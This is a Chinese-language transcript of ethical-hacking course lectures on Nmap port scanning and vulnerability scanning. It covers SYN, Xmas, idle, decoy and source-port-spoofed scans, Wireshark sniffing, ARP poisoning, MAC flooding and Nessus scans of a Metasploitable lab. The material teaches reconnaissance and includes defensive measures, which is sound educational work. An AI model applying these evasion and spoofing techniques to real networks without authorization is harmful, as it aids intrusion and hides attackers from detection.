接下来,我们想谈谈两种最常用的Nmap扫描:TCP连接扫描和SYN扫描。
对于TCP连接扫描,Nmap完成整个三次握手,然后发送一个RST来优雅地拆除连接。
另一方面,SYN扫描在连接建立之前就停止并发送一个RST。因此,它有时被称为半开放扫描。
两者之间的一个主要区别是:SYN扫描不关心对初始SYN的响应是什么,无论如何它都会发送一个RST。而TCP连接扫描需要一个SYN-ACK来建立连接。

其他重要属性如下表所示:
- TCP连接扫描更优雅,不应使目标崩溃,且不需要root权限。
- SYN扫描(当您未指定类型时,是Nmap的默认扫描)更快且更隐蔽,但通常确实需要root权限。
当您在系统上获得低级立足点并希望在横向移动之前扫描网络上的远程设备时,权限问题至关重要。没有权限提升,SYN扫描可能无法使用。
对于半开放扫描:
- SYN-ACK响应表示端口正在监听。
- RST响应表示端口未监听。
- 但是,如果收到SYN-ACK,您会立即发送一个RST来拆除连接。这种扫描技术的一个优点是,记录它的站点会更少。
此屏幕截图显示了一个TCP连接扫描,尝试扫描给定IP地址上的所有端口。您可以指定一个IP地址、一个IP地址块,或者如果IP地址不连续,您可以指定一个包含要扫描的IP地址的文件。如前所述,如果您不指定端口,Nmap会扫描该协议最常用的端口。

端口状态推断 📊
在此表中,我们看到Nmap根据对扫描数据包的响应做出的常见推断。我们希望识别开放端口和可能的被过滤端口。由于“被过滤”并不总是提供明确信息,开放端口很可能有服务在其上运行,我们可以探索这些服务中的漏洞。其他三种状态是“未过滤”、“开放|被过滤”和“关闭|被过滤”,我们稍后将讨论。它们代表特定扫描类型的结果,而不是TCP连接扫描或SYN扫描的结果。

其他TCP扫描类型 🎄
我们已经讨论了TCP连接和TCP SYN扫描,但还有其他几种扫描类型。
圣诞树扫描得名于设置了多个标志位,就像圣诞树被点亮一样。许多现代保护机制可能会过滤响应,甚至生成虚假响应来迷惑扫描器。正如我们讨论SYN扫描时提到的,有些扫描需要提升权限才能构造原始数据包。如果您在系统上只有低权限立足点,这将构成问题。当然,这些推断是基于RFC实现中的差异,因此不符合RFC的协议栈很可能会迷惑扫描器。
此表显示了每种非标准扫描类型设置了哪些位。

发送非标准初始数据包(即不是SYN包)的想法是,标志位的设置是意料之外的,数据包可能只是穿过了防火墙,因此得到了响应,而不是直接被丢弃。这种发送意外初始数据包的策略,对现代入侵检测系统(IDS)和入侵防御系统(IPS)技术起作用的可能性较小,但可能对简单的防火墙和过滤路由器有效。
每种扫描的方法相同:在初始数据包中设置一些意外的位,看看会发生什么。思路是尝试所有三种(FIN、NULL、Xmas),因为操作系统、防火墙或IDS可能对其中一种做出响应,而吸收其他几种。
可以预期三种响应:
- RST:表示端口关闭。
- 无响应:表示端口是“开放|被过滤”状态。
- ICMP不可达错误:表示端口被过滤。
在Windows的情况下,当收到设置了意外位的初始数据包时,它总是会发送一个RST。无论端口状态如何,它都会这样做。因此,这些特殊扫描在Windows上效果不佳。当然,这意味着Windows可能被视为不符合RFC 793。但另一方面,这种不符合性正是扫描器赖以做出推断的依据。
ACK扫描与防火墙分析 🛡️
当TCP ACK段发送到关闭的端口,或发送SYN到监听端口时,RFC 793的预期行为是设备用RST响应。因此,当它用于未过滤的系统时,开放和关闭的端口都会返回一个RST数据包,Nmap将端口标记为“未过滤”。这意味着ACK数据包可以到达该端口,但Nmap无法确定端口是开放还是关闭。不响应ACK或发回某些ICMP错误消息的端口被标记为“被过滤”。
ACK扫描的思路是,保护机制可能只是被迷惑,认为ACK是对内部连接请求的响应,因此机制会允许数据包通过。
攻击者可以使用TCP ACK段来收集有关防火墙或访问控制列表(ACL)配置的信息。其思路是发现有关过滤配置的信息,而不是端口状态。这种类型的扫描单独使用很少有用,但与SYN扫描结合使用时,可以更好地了解存在的防火墙规则类型。
当与SYN技术结合时,攻击者可以更全面地了解哪些类型的数据包能够到达主机,从而绘制出其防火墙规则集。
ACK扫描与SYN扫描结合,还允许攻击者分析防火墙是有状态的还是无状态的。
- 如果SYN请求得到SYN-ACK或RST响应,且ACK请求得到RST响应,则该端口未被任何类型的防火墙过滤。
- 如果SYN请求得到SYN-ACK响应,但ACK未生成任何响应,则该端口被有状态地过滤。
- 当SYN既未生成SYN-ACK也未生成RST,但ACK生成了RST时,该端口被有状态地过滤。
- 当SYN和ACK都未生成任何响应时,该端口被特定的防火墙规则阻止,这可能通过任何类型的防火墙发生。
有状态和无状态防火墙的比较是我们道德黑客实验室的主要元素之一。我们构建的防火墙是无状态的。我们能通过扫描确定这一点吗?这能帮助我们穿透防火墙吗?我们如何改进防火墙的功能?
UDP扫描 📨
UDP扫描与TCP扫描类似,但针对通常运行UDP服务(如DNS或DHCP)的端口运行。
Nmap对UDP响应做出的推断如下所示。关于UDP的一个注意事项是:当Nmap未收到对UDP探测的响应时,这可能意味着端口是开放的、被过滤的,或者端口或响应只是在网络上丢失了。
UDP扫描的另一个方面是,当目标主机启用了速率限制时,这会暂时阻止对UDP扫描的响应,从而大大增加扫描时间。发生这种情况时,Nmap会重新发送初始探测。如果Nmap检测到网络可靠性非常差,它可能会在放弃一个端口之前尝试更多次。这提高了准确性,但也延长了扫描时间。因此,当性能是渗透测试的关键方面时,可以通过限制允许的重传次数来加快扫描速度。
你甚至可以指定 --max-retries 0 来防止任何重传,尽管这仅建议用于非正式调查或偶尔遗漏端口和主机是可接受的情况。
--scan-delay 选项使Nmap在向给定主机发送的每个探测之间等待指定的时间。这在速率限制的情况下特别有用。例如,Solaris机器(以及其他许多机器)通常每秒只响应一个ICMP消息给UDP扫描探测包,Nmap发送的超过此数量的任何探测都是浪费。将Nmap配置为 --scan-delay 1s 将使Nmap保持在这个较慢的速率。实际上,Nmap会尝试检测速率限制并相应地调整扫描延迟,但明确指定它并无害处,如果你已经知道什么速率最有效的话。
其他端口状态与空闲扫描 🧟
以下是Nmap可能推断的其他状态的总结。它们只会出现在对特定扫描类型的响应中,而不是连接扫描或半开放扫描。
- 未过滤:仅对ACK扫描的响应,意味着端口可访问,但Nmap无法确定它是开放还是关闭。
- 开放|被过滤:来自UDP、IP、FIN、NULL和圣诞树扫描。意味着端口似乎是开放的,但无响应。
- 关闭|被过滤:仅来自IP ID空闲扫描。它使用一个“僵尸”主机,并且IP ID增量无法区分关闭和被过滤。
空闲扫描是一种完全盲目的端口扫描技术。攻击者实际上可以扫描目标,而无需从自己的IP地址向目标发送单个数据包。相反,一种巧妙的旁路攻击允许扫描通过一个“愚蠢的”僵尸主机反弹。入侵检测系统报告会将无辜的僵尸主机指认为攻击者。
除了极其隐蔽之外,这种扫描类型还允许发现机器之间基于IP的信任关系。
从根本上说,空闲扫描包括对每个端口重复的三个步骤:
- 互联网上的每个IP数据包都有一个分段标识号(IP ID)。由于许多操作系统只是为每个发送的数据包递增此数字,探测IP ID可以告诉攻击者自上次探测以来发送了多少数据包。所以第一步是探测僵尸主机的IP ID并记录。此探测将导致IP ID增加1。
- 伪造一个来自僵尸主机的SYN数据包,并将其发送到目标上的所需端口。根据端口状态,目标的反应可能会也可能不会导致僵尸主机的IP ID增加。
- 再次探测僵尸主机的IP ID。然后通过将此新IP ID与第一步中记录的IP ID进行比较来确定目标端口状态。
在此过程之后,僵尸主机的IPID应该增加了1或2。
- 增加1 表示僵尸主机没有发出任何数据包(除了它对攻击者探测的回复)。没有发出数据包意味着目标上的端口未开放,并且目标向僵尸主机发送了一个被忽略的RST数据包,或者根本没有发送任何东西。
- 增加2 表示僵尸主机在两次探测之间发出了一个数据包。这个额外的数据包可能意味着端口是开放的。目标大概是为了响应伪造的SYN而向僵尸主机发送了一个SYN-ACK数据包,这诱发了僵尸主机的一个RST数据包。
- 增加大于2 通常表示僵尸主机不可靠。它可能没有可预测的IP ID编号,或者可能正在进行与空闲扫描无关的通信。
尽管关闭端口和被过滤端口发生的情况略有不同,但攻击者在两种情况下测量到的结果相同,即IP ID增加1。因此,空闲扫描无法区分关闭和被过滤的端口。当Nmap记录到IP ID增加1时,它将端口标记为“关闭|被过滤”。
扫描响应总结表 📋
此表总结了Nmap对各种扫描类型的每种响应将做出的推断。请注意,ACK扫描未包含在表中,因为它们实际上提供的是关于防火墙的信息,而不是端口。


本节课中我们一起学习了端口扫描的基础知识,包括其定义、Nmap工具的默认行为、发现开放端口的技术、TCP连接原理、主要的TCP扫描类型(如连接扫描和SYN扫描)、端口状态推断、其他特殊TCP扫描类型(如FIN、NULL、Xmas)、用于分析防火墙的ACK扫描、UDP扫描的特点,以及隐蔽的空闲扫描原理。理解这些扫描技术及其产生的不同端口状态,是进行有效网络侦察和后续安全评估的关键。端口扫描的第1部分到此结束,第2部分将研究一些示例,讨论其他扫描技术,并回顾一个名为Wireshark的被动工具。
029:端口扫描第二部分 🛡️
在本节课程中,我们将继续深入探讨端口扫描技术。我们将通过具体示例,学习如何利用Nmap的选项来隐藏扫描者的IP地址,包括端口欺骗和使用Wireshark进行被动扫描的方法。这些技术对于理解网络侦察的隐蔽性至关重要。
端口扫描实践与结果分析
上一节我们介绍了端口扫描的基本概念。本节中我们来看看具体的扫描示例及其结果。
Nmap在同一个网段内对关闭了防火墙的Windows XP系统进行了扫描,结果显示有三个端口开放。值得注意的是,一些广为人知的端口在默认状态下是关闭的,这表明微软在不断学习并更好地保护其系统构建。
当Windows防火墙开启时,则没有端口显示为开放。延迟统计是Nmap维护的一个动态超时值,用于决定在放弃或重发探测包之前,等待探测响应的时间。
然而,如果我们在同一网段对Metasploitable系统运行Nmap,结果则完全不同。我们开始体会到Metasploitable系统是多么易受攻击。
隐藏扫描者身份的技术
为了帮助隐藏扫描者的身份,Nmap支持几个扫描选项。
以下是两种主要的隐藏技术:
-D(诱饵)选项:此选项将你的IP地址与你指定的一系列其他IP地址混合。目标无法确定扫描究竟来自哪个地址。当然,许多响应会被发送到其他机器,但只要你能获取到响应信息就无关紧要。-S(欺骗)选项:此选项会导致使用一个伪造的IP地址。在这种情况下,响应不会返回到你的机器。这意味着你必须在目标网段部署嗅探器来捕获响应,或者必须使用类似空闲扫描的技术。
使用诱饵扫描时,目标IDS可能会报告来自5到10个不同IP地址的端口扫描,但无法确定哪个IP是真正的扫描源,哪些是无辜的诱饵。虽然这种技术可以通过路由器路径追踪、响应丢弃和其他主动机制来防御,但它通常是隐藏IP地址的有效方法。
如果你没有在IP列表中放入自己的真实IP,Nmap会随机放置你的位置。如果你将其放在列表末尾,某些扫描检测器可能根本不会记录你的IP。你也可以使用-R和-D来生成随机的非保留IP地址。
诱饵扫描在初始的Ping扫描、远程操作系统检测和SYN扫描中有效,但不适用于版本检测或TCP连接扫描。最后,值得注意的是,使用过多诱饵可能会减慢扫描速度,甚至可能降低其准确性。
一些ISP会过滤掉你的欺骗数据包,但许多ISP根本不限制伪造的IP数据包。通过欺骗扫描,你可以让目标认为其他人在扫描他们,但由于IP是伪造的,你无法收到返回的数据包。
端口欺骗与防火墙配置
端口欺骗与IP欺骗不同,因为你实际改变的是源端口号,而不一定是IP地址,这可能使扫描数据包能够通过防火墙。
一个令人惊讶的常见防火墙配置错误是仅基于源端口号来信任流量。例如,来自DNS或FTP端口的数据包有时会被放行。一些缺乏经验的管理员认为攻击者不会注意到此类防火墙漏洞。在其他情况下,管理员将此视为一种临时措施,直到他们能实施更安全的解决方案,但随后却忘记了进行安全升级。
当然,这些问题的安全解决方案是存在的,例如应用级代理或协议解析防火墙模块。不幸的是,一些不安全的解决方案更容易管理。例如,Windows 2000和Windows XP自带的IPSec过滤器包含一条隐式规则,允许所有来自端口88(Kerberos端口)的TCP或UDP流量。同样,ZoneAlarm个人防火墙曾一度允许任何源端口为53(DNS)或67(DHCP)的传入UDP数据包。
Nmap提供了-g和--source-port选项来利用这些弱点。指定一个端口号,Nmap将尽可能从该端口发送数据包。大多数使用原始套接字的扫描操作,包括SYN和UDP扫描,都完全支持此选项。值得注意的是,该选项对任何使用正常操作系统套接字的操作都没有影响,包括DNS请求、TCP连接扫描、版本检测和脚本扫描。设置源端口对操作系统检测也不起作用。
在我们的道德黑客实验环境中,当尝试扫描防火墙后的虚拟机时,此命令行选项可能很有用。欺骗源端口将产生更有用的结果。
被动扫描与Wireshark
被动扫描不仅提供匿名性,而且由于没有数据包发送到目标,它隐藏了渗透测试员正在收集信息这一事实。尽管这是一种通过嗅探网段数据包实现的被动技术,但仍然可以确定数据包中的源和目的IP地址以及交换的数据包类型。显然,被动技术收集信息可能需要更长的时间,因为在嗅探会话的不同时段,网络流量可能非常低。
最著名的嗅探器是Wireshark(曾被称为Ethereal),它是一个免费工具。收集信息的最佳方式是能够访问感兴趣其中一方的网段。Wireshark也可以在没有直接访问网段的情况下使用,但那些技术稍微复杂一些。
Wireshark使用Pcap库进行数据包捕获。在Linux上称为Libpcap,在Windows上称为WinPcap。当Wireshark启动时,它会提供一组检测到的接口。用户可以选择要监控的接口,并捕获该接口看到的所有数据包。此外,如果之前的扫描会话保存了Pcap文件,你也可以看到文件名并选择打开文件进行分析,而不是监控接口。

这是从接口菜单呈现的屏幕。你可以选择要监控的接口并开始监控。
这个Wireshark字符串捕获显示了在接口上收集的显示信息的三个主要框架。顶部框架是监控接口上收集到的数据包流,因为它们经过网段。它包括源和目的IP、相关协议和一些附加信息。你还可以看到数据包类型被颜色编码,以简化阅读数据包流。在这种情况下,UDP数据包是蓝色的,HTTP请求是绿色的,TCP RST交换是浅灰色的,但这些都是可配置的。第二个框架显示额外的数据包细节。当你选择一个特定的数据包并想要深入查看时,例如对于一个TCP数据包,你将能够看到帧的每个字段,包括标志字段中设置的位等信息。底部框架显示与中间框架每个高亮字段相关的ASCII码。
在中间框架中,相关联的ASCII码会在底部框架中高亮显示。也可以按时间、源地址、目的地址或协议对显示的数据包进行排序或过滤。在红色框中,你可以看到一些ARP交换,其中IP地址与MAC地址相关联。

注意ARP数据包的“信息”字段。首先是一个广播请求:“谁有这个IP?”。然后来自拥有该IP的设备的响应会说“那个IP在MAC地址某某处”。
如果你选择颜色配置按钮,就会显示这个。
数据包捕获截图显示了一些ARP消息,因此我想花点时间回顾一下ARP的工作原理,因为它在渗透测试讨论中反复出现。
在这张图中,PCA知道目的IP地址,但不知道PCB的MAC地址,因此无法通信。ARP协议将帮助PCA确定PCB的MAC地址。
PCA首先检查其本地连接表以查找目标IP的MAC地址,但PCA没有PCB的任何条目。因此,PCA广播一个ARP请求。它广播到MAC地址FF:FF:FF:FF:FF:FF,询问目的IP地址192.168.0.3。广播域上的每个连接设备都会收到该请求。在这个简单案例中,PCB和PCC都会收到该帧。
PCB将丢弃该请求,因为其第3层目的IP不匹配。PCC接收ARP请求,因为第3层地址匹配192.168.0.3,并且PCC使用请求者PCA的IP地址192.168.0.1和MAC地址00:00:1a:3f:02:56更新自己的本地连接表。然后,PCC使用刚刚存储在其本地连接表中的单播信息向PCA发送一个ARP回复包。PCA接收ARP回复包,并使用IP地址192.168.0.3和MAC地址00:e0:fe:09:c2:11更新其本地连接表。现在PCA有了PCC的MAC地址,它们可以通信了。请注意,添加到这张图上的黑色文字显示了你在Wireshark中实际会看到的内容。
顺便说一下,ARP毒化是我们提到的一种嗅探交换机数据包的技术。在这种攻击中,PCA和PCC中的ARP缓存都被毒化。这种攻击欺骗了试图通信的两台计算机,使它们认为第三台计算机的MAC地址是对方的MAC地址。这将导致交换机将PCA和PCC之间的流量路由到中间人那里,你可以在那里嗅探流量,然后像什么都没发生一样将流量发送出去。这种攻击可能会对某些交换机和局域网造成严重破坏,因此需要谨慎使用。
Wireshark过滤与分析

如果你曾经启动过Wireshark,你就会知道,即使在一个简单的网络上,也会立即捕获数百个数据包。线路上有大量用户看不到的低层活动和交换,但这些对于成功的网络通信至关重要。事实上,在短时间内捕获的数据包如此之多,以至于复杂性有时令人难以应对。
Wireshark通过提供过滤机制来帮助我们应对这种复杂性,该机制可以过滤我们看到的内容。一个简单的例子是根据源IP和目的IP进行过滤。你可以在捕获数据包时进行过滤,也可以捕获所有数据包然后过滤显示的内容。过滤引擎非常强大,并提供子二进制逻辑运算符来创建极其复杂的组合。一些用户认为Wireshark的过滤菜单不太直观,因此可能值得查看Wiki来入门。


此屏幕截图显示了TCP连接扫描期间捕获的数据包(绿色部分)。它显示了如前所述的数据包:SYN,SYN-ACK和ACK,然后是一个RST以优雅地终止连接。它还显示了一个半开放扫描:SYN,然后直接是RST。在中间框架中,你还可以看到SYN数据包(蓝色高亮)的SYN标志已被设置。
在绿色的过滤栏中,你可以看到我已经根据源IP和目的IP进行了过滤,以便只有扫描涉及的数据包可见。

这组图片取自Wireshark网页,展示了成功使用Wireshark的各种方法。左上角带有红色边框的两种配置显示了可能的网络配置:一种是使用集线器(利用共享介质),另一种是使用交换机(不共享介质)。使用集线器时,很容易收集经过的数据。不幸的是,如今集线器已不常用,除了在无线配置中。在交换机配置中,即使处于混杂模式,网卡也不会看到地址与其自身不同的数据包。无论是否处于混杂模式,网卡的行为都完全相同。
其余图表展示了在使用交换介质时,如何使用Wireshark捕获数据包。
- 在配置3中,我们希望从单个主机收集数据,并且能够在该主机上启动Wireshark。
- 在配置4中,我们能够将集线器插入感兴趣的以太网线路,并将Wireshark机器连接到集线器。
- 在配置5中,交换机有一个监控端口,我们能够将Wireshark机器连接到该端口。
- 在配置6中,Wireshark机器有两个网卡,我们能够将计算机本身作为网桥连接到以太网线路,这是一种中间人攻击。
- 在配置7中,我们插入一个分路器,并将一台带有两个网卡的Wireshark机器连接到分路器。
- 在配置8中,我们有另一种中间人攻击,我们连接到交换机并进行ARP毒化。
- 在配置9中,我们使用MAC泛洪,用虚假的MAC地址轰炸交换机,直到交换机无法处理。然后交换机进入故障开放模式,开始像集线器一样向网络上的所有机器广播数据包。
防御措施与内部侦察
为了保护你的计算机免受黑客进行端口扫描以收集信息并随后发动攻击,你需要做的头两件事是:关闭任何非绝对必要的端口,并停止任何可能默认配置运行但非必要且在某些情况下可能不安全的服务。像防火墙这样的有状态设备也可以通过允许对过滤过程进行更精细的控制来帮助保护你的基础设施。

你还应该从外部扫描你的网络,就像你是一个黑客一样,同时从内部扫描以防止内部攻击。我们已经讨论过Nmap,但一旦你在一个系统上获得立足点,或者如果你在内部,Netstat将提供有用的信息。每当你进行这种配置和扫描时,记录步骤和结果,以便将来可以重复该过程并比较结果。

这是一个Netstat截图,显示了正在使用的端口和活动的TCP连接。这类信息对于识别C2(命令与控制)通道很有用。如果你认为你的一台或多台计算机可能是僵尸网络的一部分,运行Netstat并检查外部地址和端口,看看是否有需要进一步调查的意外连接。你可以使用whois等工具来研究未知IP,并查看该站点是否合法。进行此操作时要小心,因为一些防病毒软件会与国外位置的服务器建立连接。这些可能是合法的,但如果没有详细调查,它们可能看起来不合法。
如果你认为连接看起来可疑,进程ID(PID)标识了控制该连接的进程。随后,你可以创建任务列表,找到匹配的PID并终止该进程。需要注意的是,你需要在Netstat中拥有管理员权限才能显示进程ID。


SYN洪水攻击与缓解
SYN洪水是一种拒绝服务攻击,它试图用大量SYN数据包淹没监听端口的服务,导致缓冲区填满,并且由于内核内存耗尽,服务器无法再响应请求。服务器可能会崩溃,也可能不会。但可以肯定的是,缓冲区会填满,无法接受额外的连接。这是一种非常古老的攻击,由于我们已经学会了如何缓解它,所以不再有效。大多数服务器都实施了缓解措施,而且在许多情况下,服务器的容量非常大,需要由高性能服务器组成的大型僵尸网络才能产生显著影响。
RFC 4987讨论了SYN洪水的缓解措施。其中一些缓解思路很有趣。例如,SYN缓存的概念最小化了SYN在目标上分配的状态量。换句话说,目标不会立即分配完整的传输控制块(TCB)。完整的状态分配会延迟到连接完全建立之后。另一个例子是,为了避免内存耗尽,操作系统还可能为监听套接字关联一个积压参数,该参数设置了同时处于SYN接收状态的TCB数量的上限。此操作保护了主机可用的内存资源免受攻击,但积压参数本身代表了另一个易受攻击的较小资源。当积压队列中没有剩余空间时,直到一些TCB建立连接或以其他方式从SYN接收状态移除之前,都无法处理新的连接请求。
总结与展望
我们已经详细讨论了扫描技术。TCP连接扫描和SYN扫描是基础技术。我们还讨论了其他一些使数据包通过防火墙的思路,包括欺骗数据包来源的端口和被动扫描(虽然通常需要更长时间,但更隐蔽)。既然端口扫描已经提供了有关开放端口和在这些端口上运行的服务的信
息,我们接下来希望继续识别这些服务中的潜在漏洞,利用这些漏洞可能获得对系统的访问权限。


在本节课中,我们一起学习了端口扫描的高级技术,包括使用诱饵和欺骗来隐藏扫描源、利用端口欺骗绕过防火墙规则,以及使用Wireshark进行被动信息收集。我们还探讨了针对扫描的防御措施,并简要介绍了SYN洪水攻击及其缓解方案。这些知识为我们后续识别和利用服务漏洞奠定了基础。
030:漏洞扫描 🔍
在本节课中,我们将要学习渗透测试方法论中的第三个阶段:漏洞扫描。我们将了解漏洞扫描的基本概念、它与前几个阶段的关联,并重点介绍两款核心工具:Nmap脚本引擎(NSE)和Nessus。通过学习,你将能够理解如何利用这些工具来识别目标系统中可能存在的安全弱点。
上一节我们介绍了主机发现、操作系统探测和端口扫描。本节中我们来看看如何利用这些信息进行更深入的漏洞扫描。
漏洞扫描利用版本信息来尝试识别存在漏洞的服务。然而,这些工具采用了非常主动的扫描方式。在某些情况下,它们甚至会向目标投送漏洞利用代码以确定漏洞是否存在。尽管如此,扫描器远非完美。它们有时会识别出实际上无法被利用的漏洞。免费工具尤其如此,我们将在后续的漏洞利用模块中讨论一个具体的例子。
漏洞扫描是继主机发现、操作系统探测和端口扫描之后的第三个阶段。其基本思想是识别那些尚未打补丁的、存在漏洞的服务。
有许多工具可以进行漏洞扫描,但我们将重点介绍Nessus,因为它是一款被许多渗透测试人员广泛使用的知名工具,并且有一个免费版本可供我们在课程中使用。
这类扫描器有时被称为网络扫描器,因为它探测的是网络服务,例如Web应用程序、Web服务器或数据库。尽管扫描器之间的界限通常很模糊。OpenVAS实际上是从Nessus的代码库分叉出来的。它们现在已分道扬镳,但其框架和相关的扫描技术非常相似。
说到扫描器之间的重叠,Nmap的脚本引擎(NSE)将Nmap从一个知名的端口扫描器带入了漏洞扫描器的领域。NSE运行由Nmap社区贡献的脚本。脚本类别的数量随着产品的成熟而不断变化,但最近有14个脚本类别,包含近500个脚本。
这些脚本提供了大量的功能,其中与本模块相关的两个类别是discovery(发现)和vuln(漏洞)。

以下是NSE脚本的主要类别示例:
auth:处理身份认证的脚本。default:使用-sC或-A选项时运行的默认脚本。discovery:用于发现网络上的主机和服务的脚本。exploit:尝试利用已知漏洞的脚本。vuln:专门用于发现和验证漏洞的脚本。

你可以看到,当我们进入渗透测试方法论的漏洞利用阶段时,其他类别(如exploit)也将引起我们的兴趣。如果你有兴趣编写和贡献新脚本,NSE提供了一组庞大的扩展库,可以最大限度地减少必须完成的工作并提高效率。
你可以运行单个脚本、一个类别中的所有脚本,甚至多个类别的脚本。在下面的截图中,我正在针对Metasploitable靶机运行所有的漏洞脚本。


这里是一些当扫描针对Metasploitable运行时,NSE发现的漏洞示例。第一个红色框显示了一个PHP CGI漏洞,这是一个有据可查的2012年的漏洞,允许远程代码执行。第二个显示了一个RMI配置漏洞。
讨论NSE的重点在于,虽然我们将重点介绍Nessus,但花时间探索NSE是值得的。在我们的实验环境中,当我们在内部网段获得立足点时,我们发现旧服务器上安装了Nmap。我们或许能够使用NSE脚本来进行更好的扫描,获得比通过防火墙使用Nessus更好的结果。

Nessus的客户端-服务器架构允许远程客户端与服务器交互,并对独立于服务器的第三台计算机建立扫描。这种设计允许将服务器放置在网络上的各个战略点,以便从不同的角度进行测试。一个中央客户端或多个分布式客户端可以控制所有服务器。这些功能为渗透测试人员提供了灵活性。
客户端适用于Windows和Linux。Nessus服务器执行实际的测试,而客户端提供配置和报告功能。Nessus依赖于一个插件数据库,在某些情况下,这些插件通过投送漏洞利用代码来检查漏洞。这些插件在本地缓存,大约有40000个。它们基本上是小块的代码,Nessus会发送到目标机器。需要注意的是,一些插件在确定漏洞是否存在的过程中,实际上会利用该漏洞。
Nessus用户指南提供了安装说明和用于Kali安装的软件包名称。由于Kali是基于Debian的构建,你需要使用Debian的安装包。图中给出的版本现在已经过时了,但使用当前的版本号应该可以成功安装。
虽然该软件的有限版本对家庭用户是免费的,但仍然需要注册以获得安装密钥。这里显示了注册链接,只需要提供姓名和电子邮件。安装密钥有效期为24小时,并通过电子邮件发送。你最好在开始安装之前准备好密钥,因为在安装过程中导航到注册屏幕并不总是很顺利。
安装完成后,为了使用Nessus,首先启动守护进程(daemon),然后在客户端启动你选择的浏览器并导航到本地主机的8834端口。在这种情况下,服务器守护进程运行在Kali上,而Kali也充当客户端。你需要输入激活码并创建一个管理账户,该账户用于未来的登录。
激活后,Nessus将开始初始化并下载插件。这需要很长时间,尤其是Nessus第一次这样做的时候。但每次你登录时,Nessus都会经历相同的过程,所以启动可能会很慢。但在后续启动时,由于它已经拥有了许多插件,速度会更快,因为它主要是检查更新和下载新插件。
这是后续连接时呈现的登录屏幕,你可以使用刚刚创建的管理员账户登录。

我们介绍了Nmap脚本引擎(NSE)并完成了Nessus的安装。接下来,我们将通过一个Nessus示例来了解如何使用这个工具在Metasploitable上发现漏洞。


本节课中我们一起学习了漏洞扫描的概念及其在渗透测试流程中的位置。我们探讨了Nmap脚本引擎(NSE)如何扩展端口扫描的功能,并详细介绍了专业漏洞扫描器Nessus的客户端-服务器架构、安装及初始化过程。理解这些工具的原理和基本操作,是进行有效安全评估的关键第一步。
031:Nessus工具实例 🛠️
在本节课中,我们将学习如何使用Nessus漏洞扫描器对虚拟机进行扫描。我们将涵盖扫描策略的建立、基本配置、扫描执行以及结果分析。通过本教程,你将掌握使用Nessus进行基础网络扫描的核心步骤。
建立扫描策略
上一节我们介绍了本子模块的目标,本节中我们来看看如何为Nessus扫描建立策略。扫描策略的目的是指导工具应运行何种类型的扫描以及如何配置。
例如,默认的网络扫描策略不包含Web服务器扫描,除非在策略配置菜单中手动开启。请注意,Engabrezen的书中使用的旧术语已不再被Nessus使用,因此无需寻找“安全”或“侵入性”等分类。当前最高的漏洞等级是“严重”和“高危”,这些是我们需要优先关注的漏洞。


上图展示了可供选择的扫描类型。大多数选项需要升级(如紫色条所示),但“基础网络扫描”是可用的,它能提供关于扫描器工作原理和结果呈现的良好体验。
因此,在初始菜单中选择“扫描”后,此界面会要求选择应运行的扫描类型,该类型随后必须进行配置。你应该探索“基础网络扫描”与“高级扫描”之间的区别,以决定哪个是完成扫描实验的最佳选择。此外,你可能还想运行Web应用程序测试,以比较其结果与Web利用模块中Oos Zap的运行结果。
配置扫描设置

一旦选择了策略,对于基础网络扫描,可以通过左侧菜单访问基本配置设置。Web服务器扫描默认是关闭的,但可以通过这些菜单激活。
在本例中,我将扫描命名为“meta exploitable。 No firewall”,以便与防火墙开启和关闭的其他虚拟机的结果进行跟踪和比较。渗透测试报告的目标是在防火墙开启时进行扫描,但出于学习目的,实验会要求你在防火墙关闭时也进行扫描,因为结果会有显著差异。


凭证扫描简介
我们不会在本课程中探讨凭证式Nessus扫描,但它们在为网络进行补丁和安全策略符合性扫描时非常重要。其理念是向Nessus提供SSH凭证,用于登录被评估的系统。
这种方法不仅能提供更准确的扫描结果,还不会导致被扫描系统崩溃。我最近遇到一个红队,他们不被允许使用Nessus扫描控制我国某项国家资产的系统,因为它对网络中的某些设备产生了运行影响。
这是在运行环境中使用Nessus的一大问题,而凭证扫描可能克服这一问题。然而,根据渗透测试的目标,你的客户可能不愿意向团队提供凭证,或者可能对识别合规性问题不感兴趣。这是与客户进行前期互动至关重要的领域之一。
执行扫描步骤

以下是我们在道德黑客环境中扫描Metasploitable的必要步骤。不要忘记启动Burp代理并关闭拦截功能。当然,你的IP地址可能不同。提醒一下,Nessus初始化和Nessus扫描都可能需要一些时间才能完成,因此请提前做好计划。


以下是登录Nessus后应遵循的步骤:
- 首先选择扫描类型,并为扫描命名以帮助你跟踪结果。
- 选择目标IP。
- 根据你希望从扫描中看到的结果类型配置基本选项。
- 启动扫描。


分析扫描结果
当我针对防火墙规则关闭的Metasploitable运行网络扫描时,这是扫描结果的高级视图。条形图是颜色编码的:红色代表严重,蓝色代表信息性。在此次无防火墙的扫描中,Nessus识别出了7个严重漏洞。你的结果可能略有不同,这取决于你运行的Nessus版本、已添加的插件数量以及基本策略配置设置。


点击Nessus摘要栏可以开始深入查看扫描的细节。这里可以看到七个严重漏洞的简要描述。我高亮了我们将进一步探讨的Samba缓冲区溢出漏洞,以了解如何结合使用Nessus和Metasploit成功在被渗透测试的系统上获得立足点。


点击高亮的漏洞会显示更多细节。在本例中,提供了升级建议,告知用户Metasploitable中安装的Samba版本不是最新的且存在漏洞。同时提供了一个CVE编号,该编号链接到关于该漏洞的更多详细信息。
通用漏洞披露(CVE)数据库由MITRE维护,并得到美国CERT和国土安全部的支持。Nessus还提供了该漏洞的CVSS评分。在本例中,评分为10.0,这是最高分,意味着它是一个严重漏洞。
通用漏洞评分系统(CVSS)是一个用于确定漏洞严重程度的开放度量标准,偶尔被学生用于他们针对我们小型虚拟网络的渗透测试报告的度量指标。


如果你在该页面向下滚动,还会看到如何利用此漏洞进行Metasploit攻击。Nessus推荐了samba usermap_script漏洞利用模块。我们将在利用模块中发现,那个特定的利用模块不会成功。尽管如此,我们会找到成功的方法。这是使用这类工具时的一个重要点:当你偏离轨道且直接的方法不起作用时,你该怎么做?一个好的渗透测试员,就像一个好的黑客一样,必须了解基础知识,并能够跳出框框思考。

OpenVAS简介

再次说明,OpenVAS是从Nessus基线分叉出来的,因此它以类似的方式工作并有一些共同点,但已沿着不同的路径发展。有些学生实际上更喜欢OpenVAS而不是Nessus,有些则不然。许多人认为Nessus是一个更可行的工具,因为专业版本被红队使用。曾经,扫描作业要求学生比较这两种扫描器,但OpenVAS有些小问题,因此该比较已被取消。

如果你有兴趣了解一点OpenVAS,这里提供了使其运行的步骤。与Nessus一样,下载插件(称为网络漏洞测试)需要很长时间。如果你决定试用它,请注意它使用与Nessus不同的端口号。


总结与展望

